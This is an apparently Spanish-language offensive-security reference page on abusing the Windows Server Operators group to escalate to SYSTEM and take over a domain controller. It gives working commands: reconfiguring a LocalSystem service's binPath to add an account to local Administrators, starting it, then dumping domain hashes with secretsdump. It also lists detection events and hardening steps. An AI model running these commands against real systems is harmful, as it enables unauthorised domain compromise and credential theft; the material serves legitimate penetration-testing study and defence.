the_open_door
café
ESEN
← Volver al índice

Server Operators group abuse

ATT&CKT1543.003
Arsenal completo de comandos en la cheatsheet

El grupo integrado Server Operators permite administrar servidores Windows (incluidos los controladores de dominio) sin ser Domain Admin, y por eso es un grupo muy privilegiado. Sus miembros pueden iniciar sesión local en servidores, reciben los privilegios SeBackupPrivilege y SeRestorePrivilege, y sobre todo controlan los servicios locales. Como muchos servicios arrancan como LocalSystem, reconfigurar el binario de uno de ellos permite ejecutar un comando arbitrario como SYSTEM y, en un DC, tomar el dominio entero.

Mecanismo

Se busca un servicio que arranque como SYSTEM sobre el que Server Operators tenga control total. Primero se confirma la cuenta bajo la que corre con sc.exe:

sc qc AppReadiness
SERVICE_START_NAME : LocalSystem

Con PsService (Sysinternals) se comprueba la DACL del servicio: BUILTIN\Server Operators con All significa SERVICE_ALL_ACCESS, es decir, control total:

PsService.exe security AppReadiness
        [ALLOW] BUILTIN\Server Operators
                All

Entonces se reescribe el binPath del servicio para que ejecute nuestra acción (aquí, añadirnos a los administradores locales) y se arranca. El arranque suele fallar (el binario ya no es un servicio real), pero el comando del binPath se ejecuta igual como SYSTEM:

sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
sc start AppReadiness
net localgroup Administrators

Con acceso de administrador local sobre el DC ya se pueden volcar todos los hashes del dominio:

secretsdump.py server_adm@<ip> -just-dc-user administrator

Requisitos

Pertenecer a Server Operators (SID S-1-5-32-549) y que exista un servicio que arranque como SYSTEM con la DACL por defecto que otorga control total al grupo. En un DC esto equivale a compromiso total del dominio. Conviene devolver el binPath original después y anotar el cambio, porque es una acción con impacto.

Cómo detectarlo. Delatan el abuso los eventos de cambio de configuración de servicio (7040/4697) modificando el binPath a un cmd /c o powershell, seguidos de un intento de arranque que falla (7000/7009), y la aparición de una cuenta nueva en Administradores o el uso posterior de secretsdump/DCSync. La reconfiguración de servicios del sistema por una cuenta que no es Domain Admin es la señal principal.

Defensa. Vaciar Server Operators salvo necesidad real y tratarlo como grupo de nivel 0; endurecer las DACL de los servicios para que grupos operativos no tengan SERVICE_ALL_ACCESS; auditar los cambios de binPath; y aplicar niveles administrativos (tiering) para que administrar servidores no implique tocar el DC. Es pariente del abuso de permisos de servicio, del abuso de Account Operators y del abuso de SeBackupPrivilege, y culmina en el volcado de NTDS.